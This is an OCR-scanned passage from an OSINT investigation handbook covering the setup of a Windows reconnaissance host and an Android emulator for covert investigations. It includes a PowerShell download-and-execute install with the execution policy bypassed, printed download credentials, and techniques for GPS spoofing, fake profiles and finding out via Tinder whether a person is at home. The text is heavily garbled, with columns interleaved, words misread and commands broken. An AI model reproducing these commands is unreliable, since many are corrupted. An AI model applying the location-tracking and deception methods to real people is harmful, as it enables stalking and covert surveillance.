%userprofile%\Downloads\Programs\sherlock\sherlock: This changes the directory' in order to launch a specific software tool. • py Sherlock.py %url% > %userprofile%\Documents\%url%-Sherlock. txt: This executes the Python command; loads the Python script; enters the previous user input (inteltechniques); and outputs (>) the result to a text file within the home director}' of the user. • start %userprofile%\Documents\%url%-Sherlock. txt: This launches the text file which was previously created by the script • goto home: This instructs the menu to return to the home screen in order to allow an additional query. Mac & Windows Hosts 109 Next, we can download and configure all custom Windows scripts, shortcuts, icons, and tools with the following commands within Command Prompt. • cd %userprofile%\Desktop • curl —u osint9:bookl43wt -0 https://inteltechniques. com/osintbook9/windows-files. zip • curl -u osint9:bookl43wt -0 https: //inteltechniques. com/osintbook9/tools. zip • unzip tools.zip -d %userprofile%\Desktop • unzip windows-files.zip -d %userprofile%\Documents • del windows-files.zip tools.zip • choco install python3 youtube-dl yt-dlp googlechrome ffmpeg httrack exiftool exiftoolgui ripgrep vic tor-browser googleearthpro keepassxc mediainfo git curl unzip wget phantomjs streamlink firefox sed -y Next, we can install our basic applications, such as Firefox, Chrome, and others with the following command. You could eliminate any apps which are undesired, but this demonstration requires all programs listed within the command. During the Mac setup, we used Brew as a package manager for the basics. For Windows, we will use Chocolatey. It can be installed with the following steps. Ever}' command in this section, including any updates, can be found at https://inteltechniques.com/osintbook9/windows.txt • Click the Windows menu button (lower-left) and type "cmd". • Right-click on Command Prompt and select "Run as Administrator". • Enter the following command into Command Prompt. • @"%SystemRoot%\System32\WindowsPowerShell\vl. O\powershell.exe" NoProfile -InputFormat None -Executionpolicy Bypass -Command " [System.Net .ServicePointManager] ::Securityprotocol = 3072; iex ((New- Object System.Net.WebClient).Downloadstring (’https://chocolatey.org/install.psl'))" && SET "PATH=%PATH%; %ALLUSERSPROFILE%\chocolatey\bin" During installation, you might be prompted to accept all defaults. Type "A" and strike enter if this occurs. You must reboot after the previous step is complete! Next, we can configure Firefox as described in Chapter Three with the following steps. • Open Firefox, close it, and enter the following in Command Prompt. • cd %userprofile%\Downloads\ • curl —u osint9:bookl43wt -0 https://inteltechniques.com/osintbook9/ff- template.zip • unzip ff-template.zip • cd %USERPROFILE%\AppData\Roaming\Mozilla\Firefox\Profiles\ *.default-release • xcopy /Y /E %userprofile%\Downloads\ff-template\* • Open Firefox, close it, reopen, and confirm extensions and settings. Let's start building our Windows OSINT host. Ideally, you will be creating this machine from a new \ in ows installation, but it should also work with existing builds. You may want to practice with a Windows rst in order to ensure you want these changes applied to your current machine. The following steps generate numerous modifications to your Windows operating system and should not be executed without serious considerauon. requirements.txt 110 Chapter 6 discussed during the Linux VM and Mac Host ' “ ’ ’ 1 as Finally, we can install all of the Python OSINT tools which were c--------- with the folloxring commands. Note that these entries must be within a Command Prompt launched "Administrator". • choco install python —version=3.9.4 -y • py -m ensurepip • py -m pip install pip requests aiodns youtube-tool instalooter Instaloader toutatis nested-lookup internetarchive webscreenshot redditsfinder socialscan holehe waybackpy gallery-dl xeuledoc bdfr search-that-hash h8mail -I • python -m pip install pip requests aiodns youtube-tool instalooter Instaloader toutatis nested-lookup internetarchive webscreenshot redditsfinder socialscan holehe waybackpy gallery-dl xeuledoc bdfr search-that-hash h8mail -I mkdir %userprofile%\Downloads\Programs cd %userprofile%\Downloads\Programs git clone https://github.com/Datalux/Osintgram.git cd Osintgram c:\Python39\python.exe -m pip install cd %userprofile%\Downloads\Programs git clone https://github.com/sherlock-project/sherlock.git cd sherlock py -m pip install -r requirements.txt -I cd %userprofile%\Downloads\Programs git clone https://github.com/WebBreacher/WhatsMyName.git cd WhatsMyName py -m pip install -r requirements.txt -I cd %userprofile%\Downloads\Programs git clone https://github.com/martinvigo/email2phonenumber.git cd email2phonenumber py -m pip install -r requirements.txt -I cd %userprofile%\Downloads\Programs wget https://github.com/OWASP/Amass/releases/latest/download/ amass_windows_amd64.zip unzip *.zip del *.zip git clone https://github.com/aboul31a/Sublist3r.git cd Sublist3r python -m pip install -r requirements.txt -I cd %userprofile%\Downloads\Programs git clone https://github.com/s0md3v/Photon.git cd Photon py -m pip install -r requirements.txt -I cd %userprofile%\Downloads\Programs git clone https://github.com/laramies/theHarvester.git cd theHarvester py -m pip install -r requirements.txt -I cd %userprofile%\Downloads\Programs git clone https://github.com/Lazza/Carbonl4 cd Carbonl4 python -m pip install -r requirements.txt -I cd %userprofile%\Downloads\Programs requirements.txt -I Mac & Windows Hosts 111 You may have noticed that I replicated all of die Pip installations with both "py" (Python 3.10) and "python (Python 3.9). This is because some applications work better with one version over the other. If you encounter a program which fails, open the corresponding script and change "py" to "python" within that instruction (or vice versa). Unlike Linux and Mac, Windows does not include Python by default, and forcing Python programs to function through manual installation can be tiresome. This is a "cheat" which may solve your own issues down the road. You can now drag and drop the files within your Documents\windows-files\shortcuts folder anywhere you like, including another folder or the Desktop. In Figure 6.03, you can see that I placed them all within my Desktop for easy access. You can drag and drop each for desired arrangement. I decided to place all of my shortcuts across the bottom of the screen. You may prefer them to be tidy within a folder. These are shortcuts whic launch the batch files included within your download. I used shortcuts because I can customize them with specific icons and folder paths to match our needs. For the same reasons cited within the Mac section, 1 not offer a single installation command for Windows. Please conduct all steps manually. • wget https://exiftool.org/gui/exiftoolgui516.zip • unzip *.zip • del exiftoolgui516.zip • git clone https://github.com/GuidoBartoli/sherloq.git • cd sherloq/gui • python -m pip install -r requirements_win.txt -I • cd %userprofile%\Downloads\Programs • git clone https://github.com/opsdisk/metagoofil.git • cd metagoofil • py -m pip install -r requirements.txt -I • cd %userprofile%\Downloads\Programs • git clone https://github.com/lanmaster53/recon-ng.git • cd recon-ng • py -m pip install -r REQUIREMENTS -I • cd %userprofile%\Downloads\Programs • git clone https://github.com/smicallef/spiderfoot.git • cd spiderfoot • py -m pip install -r requirements.txt -I • cd %userprofile9d\Downloads\Programs • git clone https://github.com/AmIJesse/Elasticsearch-Crawler.git • mkdir %userprof ile%\Downloads\Programs\DownloaderForReddit • cd %userprofile%\Downloads\Programs\DownloaderForReddit • wget https://github.com/MalloyDelacroix/DownloaderForReddit/ releases/latest/download/DownloaderForReddit . zip • unzip DownloaderForReddit.zip • cd %userprofile%\Downloads • h8mail -g • sed -i ”s/\;leak\-lookup\_pub/leak\-lookup\_pub/g" h8mail_config«in^ • cd %userprofile%\Downloads\Programs • git clone https://github.com/mxrch/ghunt.git • cd ghunt • py -m pip install • pip freeze > requirements.txt • sed -i "s/==/>=/g" requirements.txt • pip install -r requirements.txt -U -I • del requirements.txt Updates 112 Chapter 6 • choco upgrade all -y • pip freeze > requirements.txt • sed -i "s/==/>=/g" requirements.txt • pip install -r requirements.txt -U -I • del requirements.txt • cd %userprofile%\Downloads\Programs • cd %userprofile%\Downloads\Programs\Osintgram • git pull https://github.com/Datalux/Osintgram.git • cd %userprofile%\Downloads\Programs\sherlock • git pull https://github.com/sherlock-project/sherlock.git • cd %userprofile%\Downloads\Programs\WhatsMyName • git pull https://github.com/WebBreacher/WhatsMyName.git • cd ?oUserprofile%\Downloads\Programs\email2phonenumber • git pull https://github.com/martinvigo/email2phonenumber.git • cd %userprofile?o\Downloads\Programs • wget -N https://github.com/OWASP/Amass/releases/latest / download/amass_windows_amd64. zip • unzip -o amass_windows_amd64.zip • del *.zip • cd %userprofile%\Downloads\Programs\Photon • git pull https://github.com/s0md3v/Photon.git • cd %userprofile%\Downloads\Programs\theHarvester • git pull https://github.com/laramies/theHarvester.git • cd %userprofile%\Downloads\Programs\theHarvester • git pull https://github.com/laramies/theHarvester.git • cd %userprofile%\Downloads\Programs\Carbonl4 • git pull https://github.com/Lazza/Carbonl4 • cd %userprofile%\Downloads\Programs\sherloq • git pull https://github.com/GuidoBartoli/sherloq.git • cd %userprofile%\Downloads\Programs\metagoofil • git pull https://github.com/opsdisk/metagoofil.git • cd %userprofile%\Downloads\Programs\recon-ng • git pull https://github.com/lanmaster53/recon-ng.git • cd %userprofile%\Downloads\Programs\DownloaderForReddit • wget -N https://github.com/MalloyDelacroix/DownloaderForReddit/releases I latest/download/DownloaderForReddit.zip • unzip -o DownloaderForReddit.zip • del *.zip • cd %userprofile?d\Downloads\Programs\spiderfoot • git pull https://github.com/smicallef/spiderfoot.git • cd %userprofile%\Downloads\Programs\Elasticsearch-Crawler • git pull https://github.com/AmIJesse/Elasticsearch-Crawler.git • cd %userprofile%\Downloads\Programs\ghunt • git pull https://github.com/mxrch/ghunt.git You will need to keep all of these programs updated often. You can either launch the shortcut titled "Updates or enter the following within Command Prompt as Administrator. The script launches with administrative privileges by default. /Ml of these commands are also available at the bottom of the "windows.txt" file on my website, if (when) things change, I will update the information there, and you can apply it to your script. Figure 6.03: A final Windows OS1NT build with custom Python tools. Reverse All Changes (Windows) Enter the following in a Command Prompt with administrative privileges to reverse your steps. Mac & Windows Hosts 113 py -m pip uninstall pip requests aiodns youtube-tool instalooter Instaloader toutatis nested-lookup internetarchive webscreenshot readitsfinder socialscan holehe waybackpy gallery-dl xeuledoc bdfr search-that-hash h8mail -y cd %userprofile%\Downloads\Programs\Osintgram py -m pip uninstall -r requirements.txt -y cd %userprofile%\Downloads\Programs\Sherlock py -m pip uninstall -r requirements.txt -y cd %userprof ile%\ Down loads \ Programs\WhatsMyName py -m pip uninstall -r requirements.txt -y cd %userprofile?o\Downloads\Programs\email2phonenumber py -m pip uninstall -r requirements.txt -y cd %userprofile%\Downloads\Programs\Sublist3r py -m pip uninstall -r requirements.txt -y cd Suserprofile%\Downloads\Programs\Photon py -m pip uninstall -r requirements.txt -y cd %userprofile%\Downloads\Programs\theHarvester py -m pip uninstall -r requirements.txt -y cd %userprof ile%\ Downloads\Programs\Carbon 14 python -m pip uninstall -r requirements.txt -y cd %userprofile%\Downloads\Programs\sherloq\gui python -m pip uninstall -r requirements.txt -y cd %userprofile%\Downloads\Programs\metagoofil py -m pip uninstall -r requirements.txt -y iting system should be back the Mac & Windows Issues 114 Chapter 6 You will likely encounter undesired issues within your own OS1NT Mac and Windows builds which are not present within the Linux VM. Most of these will be related to security' or missing dependencies. These commands are at the end of the "windows.txt" file. Your Windows operat way it was before replicating the methods in this chapter. There will still be evidenceof these installations within your standard operating system file structure. However, the applications and all visual clues should now be gone. The following page presents a summary’ of the custom applications which are now available within y’our Mac and Windows systems. These are slightly different than the Linux options previously presented. Specifically, WebScreenShot replaces EyeWitness, and Recon-ng is not available within Windows. Everything else should function die same as the Linux versions of the scripts. Hopefully, this prevents barriers between y7our OSINT investigations and the Python scripts which aid our efforts. In macOSyou may be blocked from opening some utilities installed via Brew. During testing, I witnessed blockage of "phantomjs” when launching the Internet Archive script. This is because the e\ e oper o this utility7 has not registered with Apple and paid the fees to be recognized as a "verified" e\e oper. There is no harm in the software, but Apple warns us they7 "cannot verify that this app is tree from malware”. I had to open "System Preferences" > "Security7 & Privacy" > "General" and click unverifi d °r^Cr t0 USC sc”Pt- By the time you read this, other developers may be In Windows, you may7 receive a warning stating the operating system "prevented an unrecognized app from nmnmg while executing the batch files. This is because these simple scripts are not registered wit i icrosoft. Clicking Run Anyway" the first time each script is executed should resolve the issue, lew er Mac machines with the Apple Ml processor may7 have many7 issues, especially7 with virtualization. is is ue to the compatibility7 with this chip. I expect to see solutions arise in 2022, but y7ou may expenence difficulties. ?l*Cati°ns w^n Windows, such as Osintgram, may7 fail due to conflicts within Python 3.9 and ii e I have modified my7 scripts with redundant steps to resolve most issues, some applications may per orm poorly. I will continue to proride updates on my7 website. Overall, neither Mac nor Windows will be able to fully replicate our Linux VM. Windows users encounter many issues due to Python conflicts alone. Missing dependencies, outdated programs, i e structure issues, authorization permissions, and coundess other issues might prevent your esire i T application from performing properly. For these and other reasons, I always prefer a Linux virtual machine for my investigations. However, don't let the lack of Linux within your arsenal pro i it y ou rom attempting these Linux features. Create the OSINT environment best for y7our needs. • cd %userprofile%\Downloads\Programs\bulk-downloader-for-reddit • py -m pip uninstall -r requirements.txt -y • cd %userprofile%\Downloads\Programs\recon-ng • py -m pip uninstall -r REQUIREMENTS -y • cd %userprofile%\Downloads\Programs\spiderfoot • py -m pip uninstall -r requirements.txt -y • cd %userprofilepo\Downloads\Programs\ghunt • py -m pip uninstall -r requirements.txt -y • cd ?oUserprofile%\Desktop • del *.lnk • rmdir /Q /S %userprofile%\Documents\windows-files\ • rmdir /Q /S %userprofile%\Downloads\Programs • choco uninstall all • rmdir /Q /S \ProgramData\chocolatey Android Emulation 115 CHAPTER SEVEN ANDROID EMULATION The previous editions of this book focused heavily on Genymotion as an Android emulator. This cross-platform software allowed us to easily create virtual Android environments which appeared as magical mobile devices on our screens. 1 no longer recommend Genymotion as our best initial option, but it will be explained later within this chapter. The main reason 1 no longer begin with Genymotion is because it is simply no longer needed due to the availability of other options, which 1 present in a moment. The idea of Android emulation is to recreate the mobile operating experience within an application on your computer. This application will execute in the same manner that your web browser, word processor, or email client would open. It will have the exact same appearance as if you were staring at a telephone or tablet. Any actions that you take within this emulated device will not affect anything else on your computer. Think of it as an encapsulated box, and nothing comes in or gets out, very similar to our Linux VM previously explained. A great feature of emulation is that you can create unlimited virtual devices. You could have one for every investigation in order to prevent any contamination. Privacy and security are also important reasons to consider emulation versus directly investigating from a portable device. I have seen many law enforcement investigators conduct a search or use an app directly from their personal or work phones. This opens that device to scrutiny and discovery. An attorney could rightfully request a copy of the investigator's phone in order to conduct an independent forensic analysis. That would make most people nervous. Additionally, if I encounter malicious software or a virus from my portable device, it could affect all future investigations using that hardware. Emulation will remedy both of these situations. This chapter will focus on the huge amount of information available through mobile platforms that is not accessible through a web browser. I will explain a method of emulating a portable device within a traditional computer. Before we dive into the nuts and bolts of making things work, we should discuss why emulation is the way to go. In my investigations, documentation is my primary reason for launching a simulated mobile device within my computer operating system. If I conducted my investigation on an actual smartphone, documenting my findings can be difficult. Mobile screen captures only cover a small amount of visible content. Extracting any captured images can be a hassle. Referencing my findings within a final report can become very tedious. When using Android emulation within my traditional computer, I can easily create numerous screen captures, record a video of my entire investigation, and paste my results directly into the report. Some readers will question why I chose to explain Android emulation instead of iPhone. The most obvious reason is the number of options. I will explain software solutions for recreating the Android environment on your computer. An iPhone simulator will only function on Apple computers and has very limited features. The Android techniques will work on any major operating system. Additionally, we can create Android virtual machines that possess all original functionality. An iPhone simulator will not connect to most applications and features, and provides almost no value to the OSINT investigator. For several years, online researchers have been navigating through various social networking websites for information about individuals. Whether it was older sites such as Friendster and Myspace, or current networks such as Twitter and Facebook, we have always flocked to our web browsers to begin extracting data. Times have changed. Today, an entire generation of social network users rarely touch a traditional computer. They operate completely from a cellular telephone or tablet. Many of the networks through which individuals engage will only operate on a mobile device. Services such as Snapchat, Tinder, and Kik do not allow a user to access content from a traditional web browser. As this shift occurs, investigators must transition with it. Our preparation is not complete until we have disposable Android environments in place. If downloading an "ova" file, such as provided by from Linux VM Images, conduct the following. 116 Chapter? • Open VirtualBox and select "File" then "Import Appliance" within the menu. • Next to "File", click the folder icon to the right. • Select the "ova" file previously downloaded and decompressed (unzipped). • Click "Open", then "Continue", then "Import". • If prompted, agree and acknowledge any terms of sendee. • Right-click on the new virtual device and choose "Settings". • If desired, rename the device, such as "Android 9.0 VM (OVA)". • Click "System" and choose a memory size of at least 4096 MB (preferably 8192 MB). Hopefully, you already have VirtualBox installed and configured. If not, please revisit Chapter Two and return to this chapter. The remaining text will assume that your installation of VirtualBox is functioning. Next, we need an Android image, much like we downloaded a Linux Ubuntu file in order to create a custom OSINT Linux VM. There are two trusted sources for Android images configured for VirtualBox, as follows. There are other specific reasons as to why many readers no longer use Genymotion within their investigations and training. The company has started to make the free version of the application difficult to find and enforces strict licensing rules which may prohibit usage by some OSINT practitioners. I also find that many mobile applications block virtual devices built through Genymotion software. This often results in application crashes immediately upon load. Genymotion also now requires an online account in order to download any software, and forces users to supply these account details when launching the application. This then sends data about your usage to their servers, which is not ideal. Fortunately, we can avoid all of these pitfalls by building our own Android devices directly through VirtualBox without the need for third-party' container software. Furthermore, we will build our Android devices without the need to enter Google account details. This is another improvement from the previous edition. OS Boxes: https://w’\vw.osboxes.org/android-x86/ Linux VM Images: https://w'ww.linuxvmimages.com/images/android-x86/ I always download the latest version in 64-bit format. At the time of this writing, I downloaded Android-x86 9.0 R2 Pie for VirtualBox. This is the second stable release for the Android 9.0, code named Pie, for 64-bit computers with VirtualBox. OS Boxes offers builds specifically designed for VMWare if you prefer that platform. Linux VM Images typically only offer VirtualBox builds. Once you have downloaded your desir Android image, decompress the file (unzip) and store it somewhere easily accessible. You are now ready to configure your first virtual device. If dow’nloading a "vdi" file, such as provided from OS Boxes, conduct e following. • Open VirtualBox and select "New". • Provide a name, such as "Android 9.0 VM". • Provide your desired storage location. • Choose a "Type" of "Other" and "Version" of "Other/Unknown (64-bit)". • Click "Continue". • Choose a memory’ size of at least 4096 MB (preferably 8192 MB), and click "Continue". • Select "Use an existing virtual hard disk file" and click the folder icon to the right. • Click "Add" and select the unzipped "vdi" file which you previously downloaded. • Click "Open", then "Choose", then click "Create". • Right-click on the new virtual device and choose "Settings". • Click "Processor" and choose half of your available processor cores. • Click "Display" and choose the maximum video memory’. • Click "OK". Android 9 OVM [OVA) ’fi'.nrr:.’j| • Google \±J H. M 0. Figure 7.01: A default home screen view of an /Indroid 9.0 virtual machine. © ZT • Click "Processor" and choose half of your available processor cores. • Click "Display" and choose the maximum video memory. • Click "OK". • Click and hold any undesired home icons and drag up to remove them. • Click and drag the bottom black bar up to display all applications. • Click and hold any desired apps to drag to the home screen, such as Chrome and Settings. • Open the Settings app, choose "Display", and change the "Sleep" to 30 minutes. • Click the back arrow and select "Security & location". • Ensure "Screen Lock" is set to "None" and "Location" is set to "On". • Click the circle in the lower menu to return to the home screen. * ! You may have noticed that once you click inside the Android VM, your cursor is stuck within the window. This makes it seem impossible to return to the other applications within your computer or to close die virtual machine. The solution is to unlock your cursor with whatever "Host Key" is set for your computer. In Figure 7.01, you can see "Left" followed by the logo for the "command" key within Apple keyboards. This indicates that pressing the left command key releases my cursor to my host computer. Be sure to note what key is required on your computer. Most Windows machines default to the right "Ctrl" key. ■ __________ J & *>- LJ J Left X I Android Emulation 117 Regardless of your download option, you can now double-click your new Android virtual device to launch it The display window may appear quite small. If you want to enlarge the view, select "View" in the VirtualBox menu, highlight "Virtual Screen", then choose an expanded view, such as "Scale to 150%". Figure 7.01 displays the default view of my new Android 9.0 virtual machine. The first thing 1 want to do is modify the appearance and home screen. I conducted the following. computer screen, there arc a few nuances which should be 118 Chapter? Facebook Messenger WhatsApp Instagram Twitter Snapchat Tinder Skout Plenty of Fish Meetup Badoo Tango Fake GPS Secure Eraser Kik TikTok Discord Viber TextNow Truecaller ProtonMail Wire Wickr Telegram Twitch YouTube • Open Chrome within the Android emulator and search ’’Black jpeg" without quotes. • Open any desired option, such as the image from Wikipedia, and save the image. • Click and hold anywhere on the home screen and select "Wallpapers". You should now have a functioning replica of a standard Android device. However, you are missing several features. While the core Google applications, such as Gmail and the Play Store, are present, there are no useful applications for OSINT investigations. You could log in to a Google account within this Android device and download applications through the Play Store, but I present an alternative. I don't like to associate a Google account with my investigations, so I download my apps anonymously with the following steps. • Within the /Indroid virtual machine, open the Chrome browser. • If prompted, deselect the option to share analytics data with Google. • If prompted, deny use of a Google account • Search "F Droid" within the browser and click the first link. • Click the "Download F-Droid" button then "Continue" to authorize the download. • Click "Allow" and "OK" if prompted, then open F-Droid. • Click "Settings" to enable the toggle to authorize installation. • Click the top back arrow, then "Install", then "Open". • Click the search option in the lower-right and search "aurora store". • Select the Aurora Store application and click "Install". • Click "Settings" to enable the toggle to authorize installation. • Click the top back arrow, then "Install", then "Open". • Click "Next", then "Ask", then "Allow" to authorize this new app. • Choose "Anonymous" in order to avoid providing a Google account to download apps. • Search for "Facebook" and choose the "Install" option. • Click "Settings" to enable the toggle to authorize installation. • Click the top back arrow, then "Install", then "Open". Let's digest these steps. You installed F-Droid which is an open-source package installer for Android. It allowed us to install Aurora Store which is an anonymous replacement for Google's Play Store. Through Aurora Store, you installed Facebook to ensure the ability to add apps. You authorized all applications to install additional apps on your device, which should only be a one-time requirement You can now launch Aurora Store and install practically any app desired. During this writing, I installed the following apps and moved them to my home screen. Since we are working with a virtual device on a c_„.r , discussed. By default, internet access is gained through your host computer. If you ever find that applications seem to stop communicating, check and be sure that "Wi-Fi" is enabled. I have experienced unexplained internet outages which were corrected by re-enabling Wi-Fi under "Settings". The easiest way to turn the device off is to click the "X" to close the VirtualBox window and then choose "Send the Shutdown Signal". This notifies the Android device that you wish to shut down and presents the appropriate pop-up menu to the right. From there, you can select the "Power Off or "Restart" option. If this menu is not presented, you can repeat this process and choose "Power off the machine" within VirtualBox. Finally, I do not like the default pink wallpaper, so 1 modified my home screen with the following steps. □ ► •■ r.'Lti-V * ictix | Figure 7.02: A completed Android virtual device. s SI 13 6 • Choose the "Gallery’" option, select "Downloads" and select the black file. • Click "Set Wallpaper". jo) n Vte □ EO l»fce 131 S luxli: B p U>jo pa] m n*H: f'-cO.Ual ■ □ w 0 ct T*k* MOOT D w™ I® My biggest complaint about any virtual Android environment, including this platform and those within premium third-party software solutions, is the overall speed and usability. There will always be a lag from the moment you click an app to the point where entry' can be made. Unlike our previous Linux VMs, increasing our memory and processor resources does not seem to help with this issue. My only advice is as follows. Figure 7.02 displays my final result. Many of these apps rely' on location data, which is missing from our virtual device. There is no GPS chip, true Wi-Fi receiver, or cellular tower connection. Therefore, we must "spoof our location in order to benefit from location-based applications. 1 prefer the application called Fake GPS. Open the application and follow the prompts to enable "Mock Locations". If die automated process fails, conduct the following. • Open "Settings" and navigate to "System" then "About Tablet". • Click "Build Number" seven times until Developer options are enabled. • In "Settings" navigate to "System" then "Developer Options". • Click "Select Mock Location App" and choose "Fake GPS". • Close settings and open die "Fake GPS" application. 0 Zoom into your desired area and click the "play" icon in the lower-right. • Open Chrome and navigate to maps.google.com. • Ensure that Maps believes you are at the spoofed location. perform all updates and automated tasks before • Always boot the /Xndroid device and allow it to beginning any' investigations. • An Android device with minimal apps may perform better for specific investigations. • Do not open numerous apps at once. Focus only on the current task. • If the devices appear unusually' slow, reboot and begin again. Android Emulation 119 120 Chapter? After you have your desired location configured and you have confirmed accuracy, you can start to put this feature to work The following tutorials explain how 1 use various mobile applications within my OSINT investigations, especially location-aware applications which allow me to spoof my location. This could never be a complete documentation. Any time you encounter a target using a service which possesses a mobile application, you should consider installing that app to sec what further details you can obtain about the target's profile. Kik Messenger: Kik is an instant messaging application for mobile devices. It is modeled after BlackBerry s Messenger and uses a smartphone's data plan or Wi-Fi to transmit and receive messages. It also allows users to share photos, sketches, mobile webpages, and other content. You must create a free account within the app and you can then search any username or Kik number. Many users do not share personal details, but you can still use the app during your investigation for covert communication with a target. I warn you that child exploitation is prominent on Kik Messenger. Pedophiles have been quoted in news sources stating, "I could go on it now and probably within 20 minutes have videos, pictures, everything else in between off the app. That's where all the child porn is coming off of*. In 2014, a parent confiscated her 15-year-old daughter's cellular telephone after it was discovered that the minor was sending nude photos of herself to an older man at his request. 1 was able to use my Android emulator to log in as the child; continue conversations with the pedophile; and develop evidence to be used during prosecution. Documentation was easy with screen captures and screen recording. WhatsApp: WhatsApp Messenger is an instant messaging app for smartphones that operates under a subscription business model. In addition to text messaging, WhatsApp can be used to send images, videos, and audio media messages to other users. Locations can also be shared through the use of integrated mapping features. \ ou will need to create an account and provide a telephone number for verification. This number can be a cellular, landline, or VOIP number. I have had success using free Google Voice and MySudo numbers. After you have an account, you can communicate direcdy with any’ target using the service. I have found that several of my targets refuse to converse over traditional text messaging, but freely’ text over WhatsApp. If you conduct any online covert operations, y’ou should have this set up ahead of time. Twitter The first time that you use Twitter within your Android environment, you might be asked if you want to share your location. While I usually’ discourage this type of activity’, sharing y’o ur spoofed location can have many’ benefits. Similar to Facebook, you can make y’ourself appear to be somewhere which y’ou are not. You may want to confuse your target. If you know that he or she will be monitoring your social networks using the techniques in later chapters, this method should throw them off and be misleading. Snapchat: For the past few years, I have been unable to connect through the Snapchat app while using Genymotion. While writing this chapter, I was able to connect through one account but not another. Making Snapchat work within your emulator will be hit or miss. If you plan to communicate with targets direcdy through the mobile app, spending time testing these connections is justified. If you simply want to search public posts, we will tackle that via a traditional browser later in the book. Facebook/Mcsscnger/Instagram: The Facebook app on Android will appear similar to a compressed view of a standard profile page. The benefit of the mobile app is the ability’ to check into places. After launching the app and logging in for the first time, allow Facebook to access your location (which is spoofed). When you click the "Check In" option, Facebook will present businesses near your current spoofed location. With my’ test configuration, Facebook presented the terminals and airlines at the LAX airport. If y’ou choose a location, and create a post on your timeline, Facebook will verify that you were there. I have used this when I need to portray that I am somewhere I am not This method can help y’ou establish credibility’ within y’our pseudo profile. You could easily create the illusion that you were working at a business all day’ or out clubbing all night. I also once helped a domestic violence victim confuse her ex-husband with this technique. I posted from her Facebook account accidentally leaving my spoofed location enabled. He stalked her every’ move online. After wasting his time going to random places trying to find her, and always finding the location to be closed, he began doubting the information that he uncovered about her whereabouts. Android Emulation 121 TikTok: As of October 2020, TikTok surpassed over 2 billion mobile downloads worldwide and established itself as a dominant social network. While 1 will explain investigation techniques for this network much later in the book, having the mobile app ready is vital. The TikTok website does not currendy allow native keyword search, but the mobile app does. Preparation now will provide great benefit later. Secure Eraser As time passes, the size of your Android virtual devices will grow. System and app updates alone will increase the size of your files quickly. Much of this size is unnecessary’. When these virtual machines Truecaller: A later chapter explains reverse caller ID services and how they can identify subscriber information associated with telephone numbers. There are several additional services that only support mobile use. Truecaller is a powerful service which allows search of unlimited cellular and landline numbers in order to identify the owners. Other options include Mr. Number and Showcaller. TextNow. If you conduct online investigations and communicate with a suspect, it is very' possible that you may be asked to send or receive a standard SMS text message. Since your virtual device does not possess a cellular connection, and it is not assigned a telephone number, there are no native opportunities for this activity. However, you can install TextNow, which allows you to send and receive SMS text messages. With this setup, you can conduct all of your communications through the virtual device, and preserve the evidence within a single archive. Badoo/Blendr/Bumble/Skout/Down: These dating apps use various databases of user profiles. They are similar to Tinder, but some do not require a Facebook account or telephone number. This could be an additional option for locating a target who uses dating apps. The same method applied to Tinder would work on these networks. I once used these during a cheating spouse investigation. I connected with a covert female Facebook profile who was recently accepted as a "friend" with the suspected cheating spouse. Launching the Down app confirmed that he had an account. Swiping "Down" on his profile alerted him that I wanted to "get down" with him. This quickly resulted in a very’ incriminating chat that was later used in litigation. In addition to identifying the location of targeted individuals, these apps could be used to identify people who are currently at a crime scene or gathering. I once used this technique to simply document people who were present near a state capitol during a credible bomb threat. When these people denied their presence during interviews, I had data that disagreed with their statements. Those who were lying quickly recanted their false statements and saved investigators a large amount of time. Secure Communications Apps: If you plan to communicate directly with targets of your investigation, you should be familiar with the popular secure communication preferences. Asking a suspect of a sex trafficking investigation to text you via cellular telephone number will not be well received. If you possess a secure ProtonMail email address or Wire encrypted communications username, your request may be honored. Possessing these apps within your Android environment allows you to contain the evidence within a VM and protect your host machine. You could also possess multiple accounts through these providers and log in only after cloning your machine, as explained later. Tinder: This dating app relies on your location in order to recommend people in your area that want to "hook up". It can use your Facebook account associated with your device or a VOIP telephone number for the login credentials. The preferences menu will allow you to specify the gender, age range, and distance of the targeted individuals. Most people use this to identify’ members of their sexual preference within one mile of their current location. The users can then chat within the app. I have used this to identify whether a target was at home or another location. During one investigation, I discovered that my target was a Tinder user. I set my GPS in my Android emulator to his residence. 1 could then search for men his age within one mile and identify' if he was at home. If I did not get his profile as a result, 1 could change my GPS to his work address or favorite bar. When I received his profile in the results, I knew that he was near the spoofed location. I could do all of this from anywhere in the world. If the app tells you it cannot see your location, you may need to try' another GPS spoofing app. 1 Genymotion (gcnjTnotion.com/fun-zone) preferred 122 Chapter? There are many other similar apps. Now that you have an idea of how to integrate mobile applications into your investigations, you can apply the same techniques to the next future wave of popular apps. Many social network apps have no association with location. This content can still have value to an investigation. Some apps, such as Kik, only function within a portable device. You cannot load a web browser on a traditional computer and participate with these networks. However, you can access them from within your Android virtual machine. The goal within this chapter is simply preparation. While we have not yet discussed specific investigation methods within these sendees, having a virtual Android device ready now will ease the explanations later. I previously mentioned that Android devices created directly within VirtualBox are preferred over those provided through third parties. I stand by those statements, but 1 also respect readers who may prefer other options. Genymotion may have undesired issues in regard to privacy and licensing, but the product can also be more beneficial than the previous example. Many readers report that Genymotion Android VMs load faster, feel smoother, and seem more intuitive. This application-based Android solution is extremely easy to use. It works with Windows, Mac, and Linux operating systems. • In the left menu, expand the "Android API" at the time of this writing. On the right, choose high-resolution screen, and then clicked "Add a smaller screen for your hardware. • Rename this device similar to Android 10.0 Original. Change the "Android Version" to the highest option and click Install". This will download and configure the device for immediate use, and can take several minutes. • Launch the new device by double-clicking the new machine present in the Genymotion software. The machine will load in a new window which should appear similar to the screen of an Android telephone. Click OK to any feature notifications. Figure 7.03 (left) displays the default view of my home screen. • Navigate within the Android emulator by single-clicking on icons and using the "Back" icon in the lower left that appears similar to a left facing arrow. • Consider the following customizations to improve the look and feel of the device. Figure 7.03 (right) displays the view of the home screen after these configurations. menu and select the highest number. My option was 10.0 the device. I chose "Google Pixel XL" since I have a custom device". You may want to choose a device with download new’ data and update the files, the old files remain, and are not usable. Basically, your virtual devices start to take up a lot of space for no reason. Secure Eraser helps with this. On your original copy, after you have updated all of your software, launch Secure Eraser and change Random to 0000-0000. Click the start button and allow the process to complete. This will remove all of the deleted files. Restart your machine and then clone or export the device. The new’ copy will reflect the reduction of file size, but the original will still be large. During this w’riting, my Android VM grew to 18GB. After completing the eraser process and cloning the device, the new' VM w'as only 6.5GB, but was identical to the original. Execute this application and note that an Android virtual machine may already be pre-installed and ready for launch. Instead of accepting this default option, consider creating your own machine in order to learn the process for future investigations. I recommend deleting this machine by clicking the menu icon to the right of the device and choosing "Delete". Perform the following instructions in order to create your first custom Android devices. First, you must create a free account online at genymotion.com. This can be all alias information, and the login 